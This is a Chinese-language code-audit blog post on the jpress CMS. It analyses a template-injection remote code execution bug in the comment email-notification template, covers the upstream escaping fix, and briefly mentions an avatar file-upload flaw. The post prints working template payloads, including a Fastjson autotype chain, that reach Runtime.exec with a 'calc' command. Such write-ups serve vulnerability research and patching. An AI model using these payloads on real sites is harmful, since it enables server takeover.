jpress代码审计分享

热璞数据库HotDB开放下载先知——安装部署篇三(自动部署) 自动部署为管理平台在界面中支持自动化安装部署计算节点集群的功能。目前管理平台从V2.5.0及以后拥有“集群部署”、“单机部署”两个自动化安装功能。“集群部署”适合从0开始一次性部署整套计算节点集群的场景,“单机部署”适合再已部署好的集群上新增个别集群组件的场景。 集群部署 集群部署每次部署任务是以一套集群为单位进行,一次部署最少需要包含:计算 节点、配置库、keepalived(主备节点模式需要安装),其他组件:存储节点、LVS(多节点模式)、NTPD可根据需要安装。支持“单节点、主备节点、多节点”不同集群 阅读详情

声明

出品|先知社区(ID:1871162774168111)

以下内容,来自先知社区的1871162774168111作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

0x01 前言

最近做CMS审计的时候恰好碰到了这么一个框架,学习漏洞不光是要会打,还要明白原理,结合网站可知;是用jpress V4.2搭建的,来学习一手。后面发现是就press3.0,我是小丑

jpress类似于WordPress Write in Java,和PHP的WordPress非常像。不过 Java搭建环境会比PHP要复杂一些,当时我自己也是因为环境搭建的问题卡了很久(非常多的问题,不只是maven,这一块踩坑的师傅可以滴滴我

比起普通的SpringBoot搭建的Java环境相比,jpress使用的jBoot,和 SpringBoot十分类似,不过看点其他架构写的项目也是比较有趣。

0x02 环境搭建

这个项目的环境搭建会有点烦躁

项目地址:

https://github.com/JPressProjects/jpress

去到release页面下,下载v4.2版本的,后续会对新版本当中的漏洞进行挖掘。下载完毕项目之后,先在项目界面输入命令

mvn clean package

此处比较坑,我遇到的问题是

Failed to execute goal org.apache.maven.plugins:maven-jar-plugin:2.4:jar (default-jar) on project codegen: Execution default-jar of goal org.apache.maven.plugins:maven-jar-plugin:2.4:jar failed: A required class was missing while executing org.apache.maven.plugins:maven-jar-plugin:2.4:jar: org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection

将存储maven仓库的所有库都删掉即可,接着再执行命令即可。

搭建完毕之后创建数据库,但不要导入文件,也不要修改任何配置,直接跑项目。

项目跑起来之后会访问到http://localhos-t:8080/install下

0x03 代码审计

代码审计准备

架构理解

jpress项目分为前台页面和后台管理界面,前台页面是纯前端的内容,所以漏洞点主要是在后台管理页面这里。

在后台管理界面这里,需要在模板--->所有模板中选择对应的模板,才能在前台页面看到一些漏洞的回显。比如XXE,XSS这些,在公司测试的时候没有注意到这一点,吃了些亏。

pom.xml与Filter等审计

查看父项目的pom.xml,发现用的都是最新版本的组件,理论上不存在组件漏洞。

此项目中不存在Filter,这就意味着很可能存在SQL注入或者是XSS

存在多module,需要我们对不同module功能块进行审计,尽量从一个漏洞发现者的角度去看,这样还是可以学到很多的。

模板渲染引起的RCE

影响接口

/admin/article/setting/admin/page/setting/admin/product/setting/admin/template/edit

在setting目录下存在好几处的模板渲染漏洞

0x04 漏洞分析

为什么想到这个漏洞呢?原因是在文------>设置这里面的"评论邮件通知管理员"中;官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题,此处对应的模板是Velocity

进去看与文章评论相关的类,找到是这一个——io.jpress.module.article.controller.front.ArticleController,这里是有关于前台页面当中,对于文章的管理的一个类。我们在postComment()方法处下一个断点,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员。

接着发布一条评论,来看一看它的运行流程。

前面是一系列的赋值与基础判断,有兴趣的师傅们可以自行调试看一下,属于是很简单的部分。直接看重点部分,第268行。

eval:81, Method (com.jfinal.template.expr.ast)assignVariable:102, Assign (com.jfinal.template.expr.ast)eval:95, Assign (com.jfinal.template.expr.ast)exec:57, Set (com.jfinal.template.stat.ast)exec:68, StatList (com.jfinal.template.stat.ast)render:74, Template (com.jfinal.template)renderToString:91, Template (com.jfinal.template)doSendEmail:91, ArticleNotifyKit (io.jpress.module.article.kit)lambda$byEmail$16:70, ArticleNotifyKit (io.jpress.module.article.kit)run:-1, 1607068801 (io.jpress.module.article.kit.ArticleNotifyKit$$Lambda$79)runWorker:1142, ThreadPoolExecutor (java.util.concurrent)run:617, ThreadPoolExecutor$Worker (java.util.concurrent)run:745, Thread (java.lang)

此处就可以很明显的看到存在反射调用任意类的命令执行漏洞

在Velocity 中 "#" 用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#iinclude、#parse、#macro等;如:

#if($info.imgs) <img src="$info.imgs" border=0> #else <img src="noPhoto.jpg"> #end在这一个PoC当中,我们可以借助Fastjson的特性辅助攻击。

构造PoC如下,并将它插入到评论的内容当中。

#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))#set(e=x.getEngineByName("js"))#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

#set(str=comment.content)#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #set(sem=str.substring(0, str.indexOf(124)))#set(str=str.substring(str.indexOf(124)+1))#(x.addAccept(sem)) #set(json=str.substring(0, str.indexOf(124)))#set(str=str.substring(str.indexOf(124)+1))#set(x=com.alibaba.fastjson.JSON::parse(json))#set(js=str.substring(0, str.indexOf(124)))#set(str=str.substring(str.indexOf(124)+1))#set(e=x.getEngineByName(js)) #(e.eval(str))

因为后端在渲染模板时将comment对象传入了,所以我们可以获取 comment.content,而这个值又是在评论时可控的,配合Fastjson打。

在评论的地方构造payload

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")

0x05漏洞修复

我认为的修复方式会比较贴近Velocity的一些修复方式,而Velocity到目前最新版本也没有提供沙盒或者防御方式,只能禁止或严格过滤用户输入进入 Velocity.evaluate。但是这一框架是作者团队自己编写的,并非Velocity

但是在这一个项目当中,我们可以去看一下jpress V5.0.5的版本当中是如何修复的,这个地方当时自己找的时候花了很久时间。

jpress V5.0.5,也就是最新版本当中,是通过转义字符来修补这个漏洞的。挺妙的,代码量小且利用效率高,很强。它的修补手段是在getPara()方法处先做一个转义,具体代码的调用栈如下

cleanXss:79, XSSHttpServletRequestWrapper (io.jboot.web.xss)getParameter:32, XSSHttpServletRequestWrapper (io.jboot.web.xss)getParameter:161, ServletRequestWrapper (javax.servlet)getPara:189, Controller (com.jfinal.core)postComment:148, ArticleController (io.jpress.module.article.controller.front)

0x06前台任意文件上传漏洞

影响接口/ucenter/avatar

漏洞影响域在/ucenter/avatar下,这里对应的接口找了很久,最后终于找到是在

io.jpress.web.commons.controller.AttachmentController#upload处

漏洞分析

产生漏洞的根本原因是,Web应用程序允许上传一个file[]数组,而非单个文件,从而我们可以构造多个文件同时上传来绕过。

欢迎关注长白山攻防实验室微信公众号

定期更新优质文章分享

结合漏洞、ssrf-lab学习SSRF漏洞 前言: 学习新知识,这次通过Weblogic 存在的SSRF漏洞和ssrf-lab,来学习SSRF漏洞 0x01 了解SSRF SSRF简介: SSRF(Server-Side Request Forgery),即服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,本质上是属于信息泄露漏洞。 SSRF漏洞原理: SSRF 形成的原因大都是由于服务端提供了从其他服务器应用... 阅读详情

相关推荐

IGV新手必看:5分钟搞定ChIP-seq/DAP-seq/ATAC-seq数据可视化(附常见报错解决方案)

本文为IGV新手提供了一份快速上手的实战指南,详细讲解了如何高效完成ChIP-seq、DAP-seq、ATAC-seq等数据的可视化。内容涵盖软件安装、基因组导入、文件格式转换与优化,并重点剖析了“导入后一片空白”等常见报错的根本原因与解决方案,帮助用户在5分钟内避开雷区,生成可用于发表的IGV专业图谱。

weixin_29198045的博客 540

Java FreeMarker模板引擎注入深入分析

最近和 F1or 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。

蚁景网安学院 2109

Vast.ai GPU服务器租用与SSH密钥连接实战指南

本文详细介绍了如何在Vast.ai平台租用GPU服务器并通过SSH密钥安全连接的全流程。从注册、选配GPU型号到SSH密钥生成与配置,再到实战中的端口转发和文件传输技巧,帮助用户高效利用云端GPU资源进行深度学习等计算密集型任务。

weixin_29574585的博客 531

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。 环境 JBoss 5.x/6.x 自行安装 漏洞原理 该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反...

a1b2c3是弱口令 1886

将机器人urdf模型转换为Mujoco环境下的mjcf模型

在使用gym环境进行人形模型站立训练的过程中,我想要将之前ros环境下的机器人urdf模型导入到mujoco环境下,这时候就需要将urdf模型转换为mujoco专用的mjcf模型。-AzureLoong.urdf是机器人模型(我这里使用青龙的模型);--custom_robot.xml是转换完成之后的机器人模型的名字和格式;包要求 Python 版本必须是 3.11 或更高),保证自己的其他训练环境和依赖不被干扰。首先将meshes文件迁移到需要输出的目录下,然后再运行转换命令。最后就可以成功输出了。

weixin_44334573的博客 3761

【虚拟化生态平台】虚拟化平台esxi挂载USB硬盘

虚拟化平台安装好之后,一般情况下,只有一个硬盘在工作,其他的外接硬盘(我的只有一个ssd硬盘,其他的均是usb外接,SATA接口的硬盘是否这样我暂时不清楚哈)没有在工作,但是一个硬盘明显不够我们使用的,所以我们需要去挂载外接的硬盘来扩容。...

Rubik Blog 4835

jboss漏洞复现

文章目录什么是jboss1. JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)原理利用2. JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)原理利用参考文章 什么是jboss java中间件,类似于weblogic,webSphere等。可以理解成是一个加强版的可以实现EJB的tomcat。它的内部集成了tomcat对servlet处理的功能,而且支持EJB,不过weblogic的性能几乎全优于它,基本可以用weblogic代替。 1. JBos

Shanfenglan's blog 1232

JeecgBoot漏洞利用工具解析:一键getshell原理与安全加固实践

在应用安全领域,远程代码执行(RCE)和文件上传漏洞是Web系统面临的高危威胁,其核心原理在于对用户输入的控制不足或安全校验缺失。攻击者通过构造恶意请求,可绕过系统边界,在服务器上执行任意命令或上传恶意文件,从而获取系统控制权。这类漏洞的技术价值在于揭示了应用层安全防护的薄弱环节,其利用方式自动化、集成化趋势明显,极大地提升了攻击效率。在低代码开发平台等快速构建的业务系统中,此类风险尤为突出。应用场景广泛覆盖安全测试、渗透评估与应急响应。本文聚焦于JeecgBoot平台的历史高危漏洞,深入解析其SQL注入、

weixin_30787531的博客 553

网络安全必看教程—浅谈src漏洞挖掘中容易出洞的8种姿势!黑客技术零基础入门到精通教程

SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件。SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。JSONP是服务器与客户端跨源通信的一种方法基本流程:网页通过添加一个script元素,向服务器请求JSON数据。

qq_41314882的博客 1381

Transformer-LSTM预测 | 基于Transformer-LSTM的多变量单步时间序列预测(Matlab)

Transformer-LSTM预测 | 基于Transformer-LSTM的多变量单步时间序列预测(Matlab)

机器学习之心的博客,关注并私信文章链接,获取对应文章源码和数据。 192

LeRobot 宇树人形机器人 G1 部署 GR00T 运动策略

本文详细介绍了Unitree G1人形机器人的完整设置流程。首先通过以太网连接机器人并进行SSH访问,然后配置WiFi网络实现无线连接。在机器人端安装LeRobot软件并运行服务器程序,最后在控制端配置IP地址并运行GR00T移动控制系统。指南涵盖了29自由度和23自由度版本G1机器人的配置方法,支持通过WiFi进行远程策略部署,提供双足行走与平衡控制功能,并详细说明了遥控器操作方式。

2506_90492529的博客 2172

<2021SC@SDUSC>山东大学软件工程应用与实践JPress代码分析(十)

2021SC@SDUSC 本篇文章着重围绕代码模块jpress-service,jpress-service-provider,分析menuService、menuServiceProvider两个类。因为该类设计底层JFinal、Jboot的各项缓存的二次开发及使用,所以会补充一些缓存的相关知识,便于我们更好的理解代码。 文章目录一、MenuService1.1 menu数据库表1.2 MenuService二、Cache缓存2.1 缓存描述2.2 通过注解使用缓存三、MenuServiceProvide

indaeyo的博客 443

大学生作业:80C51存储器数据传输实验:基本指令和数据传送

大学生作业:80C51存储器数据传输实验,报价 200 文章目录实验一、80C51存储器数据传输实验实验目的:实验内容一:基本指令实验内容二:数据传送 实验一、80C51存储器数据传输实验 实验目的: 熟悉软件的集成开发环境 掌握单片机软件设计流程,掌握存储器结构及各窗口之间的联系 掌握内部数据存储器、外部数据存储器的数据传送特点和应用; 实验内容一:基本指令 用三种方法实现将累加器A内容改为20H ORG 0000H LJMP MAIN ORG 0030H MAIN: ;方法一使用寄

weixin_54707168的博客 5115

<2021SC@SDUSC>山东大学软件工程应用与实践JPress代码分析(八)

2021SC@SDUSC 优惠券功能(一) 本篇文章与下一篇文章,我们着重分析JPress财务管理相关功能的优惠券功能项目。JPress的主要功能文章功能、页面功能、商品功能和附件功能。优惠券作为商品功能必不可少的一部分,JPress从创建、管理、使用、记录等方面完美呈现了优惠券的创建、使用、流通方式。 文章目录一、功能展现1.1 优惠券功能1.2 所涉及数据库表二、补充:JFinal ActiveRecord-Model2.1 ActiveRecord2.2 ActiveRecordPlugin2.3 M

indaeyo的博客 363

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

零代码构建自己的专属博客---Linux下快速部署JPRESS

代码】快速部署jpress---零代码构建自己的专属博客。

zsk_john的技术分享专用博客 908

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Jpress 操作 Jfinal类操作和说明 JPressInitializer,多数据源支持

Jpress 使用jboot,封装了Jfinal,你几乎看不到任何Jfinal 的地方 我查了源码 才发现只有这一个地方暴露了接口 JPressInitializer 可以初始化各种方法 比如我要加载,多数据源支持,在Jfinal里面就一句话 结果在Jpress里面找了半天 但是 做了很多事情 我觉得的 屏蔽到Jfinal 是不对的,应该是暴露出来,随意改动 可能有其他担心吧 多数据源支...

klbdy的专栏 353

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

「Java代码审计」华夏ERP3.0代码审计

「Java代码审计」华夏ERP3.0代码审计

qq_50854662的博客 1281

<2021SC@SDUSC>博客(11)山东大学软件工程应用与实践JPress代码分析(十)

本文开始对 module-article 中的 Controller 部分进行分析。

qq_25876121的博客 361

TowardsDataScience 博客中文翻译 2016~2018(一百六十二)

防御性设计是一种设计方法,它假设一个系统会失败,因此,应该在不损害系统的其余部分、患者或任何其他相关事物的情况下失败。它的目的是在东西“什么时候”会坏,而不是“如果”坏了,来减轻损害。防御性设计的前提是包含多个缓解层,这样部署的系统就不会陷入非常非常小的困境。新的机器学习专家和数据科学家没有 devops 和安全工程师那样的血统和战斗伤痕,这可能会很快成为一个问题——特别是当越来越多的机器学习解决方案被播种到一个组织的业务逻辑中时。防御型设计很无聊。

龙哥盟 4071

TowardsDataScience 博客中文翻译 2021(四百三十)

实践教程任何一个数据科学家大概都很熟悉pandas和。通常的工作流程需要在 pandas 中清理数据,并再次使用pandas或转换器如等进行进一步的预处理。之后,机器学习算法被拟合(再次来自这种方法存在一些问题:1.开发工作流相当复杂,需要大量代码😰2.很难在部署中重现预测工作流😩3.减轻这些问题的现有解决方案根本不够好😞Skippa✨大幅简化开发📦将所有数据清理、预处理以及模型算法打包/序列化到一个管道文件中😌重用您已经熟悉的pandas中的接口/组件Skippa 帮助您在pandas。

龙哥盟 2773

百度地图JavaScript开发入门教程

自从openGPS.cn小编在2011年的一个WEB项目中用到了百度地图做售楼数量分布显示功能之后,就一发不可收拾,在位置服务的领域一路走了5年之久。今天难得时间充裕,给WEB开发者分享一点自己的经验,希望能够给到新接触百度地图JavaScript开发的朋友们一些帮助。 百度地图JavaScript开发第一步,得会看资料。很多新手,是因为连基本的页面怎么打开...

季雨林 2993

一文吃透RCE漏洞(RCE远程代码/命令执行):RCE漏洞原理、类型、实战与防御全解析

RCE漏洞已成为网络安全领域最具威胁的高危漏洞之一,2026年统计显示其占比高达32%。本文系统剖析RCE漏洞的核心概念、分类及高危性,深入解析其底层触发原理与典型场景,并重点介绍命令注入、代码注入、反序列化等6类常见RCE漏洞类型及其典型案例。文章指出,RCE漏洞攻击门槛低、危害范围广且难以快速处置,通过危险函数调用与未过滤输入即可触发,攻击者可远程控制系统执行恶意命令或代码。本文为读者提供全面的RCE攻防知识,帮助安全从业者提升实战能力。

m0_71746416的博客 504

代码审计详细介绍

静态测试是指不运行被测程序本身,仅通过分析或检查源程序的文法、结构、过程、接口等来检查程序的正确性,找出程序中存在的风险,例如不匹配的参数、不适当的循环嵌套和分支嵌套、不允许的递归、未使用过的变量、空指针的引用和可疑的计算等。软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。变量类型,常量,数组(python 是列表,元组,字典),对象,类的调用,引用等, MVC设计模式要清楚,因为大部分目标程序都是基于MVC写的,包括不限于php,python,java。

qq_42824207的博客 659

项目上传到服务器详细步骤

1.因为我用的服务器是华为的 centOS7.5搭建nginx服务器 一、搭建nginx服务器 在搭建nginx服务器之前,我们需要先购买一台云服务器 安装一个连接云服务器的客服端 1.1 登录腾讯云的控制台 1.2 修改服务器的密码 密码为: H2001b666666 1.3 在本地客户端连接远程的电脑(服务器) xshell 1.4 搭建nginx服务器 1.4.1 如果是一台新的服务器或者说是第一次安装nginx,那我们需要先安装安装gcc yum install gcc-c++ 1

沃德天,倪维胜么,捺莫帅? 1007

信息安全的一些东西,初步查询了解!

学信息安全需要哪些基础: https://zhidao.baidu.com/question/1864586538306265827.html 有哪些信息安全方面的经典书籍: https://zhidao.baidu.com/question/2207926205965713708.html 信息安全推荐书籍: https://www.cnblogs.com/zytrue/p/...

HWP 1796

黑客网站大全!都在这了!速看被删就没了

我们学习网络安全,很多学习路线都有提到多逛论坛,阅读他人的技术分析帖,学习其挖洞思路和技巧。但是往往对于初学者来说,不知道去哪里寻找技术分析帖,也不知道网络安全有哪些相关论坛或网站,所以在这里给大家做一个网络安全的论坛网站分享。黑基网(WWW.HACKBASE.NET)成立于2003年,由IT精英和白帽黑客共同发起创立,致力于打造高端IT与网络安全的技术交流平台,网站拥有100万注册用户,在过去近20年的发展历程中,被赞誉为和。

hackeroink的博客 9392
上一篇: PWN保护机制以及编译方法
下一篇: 病毒分析整体思路
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值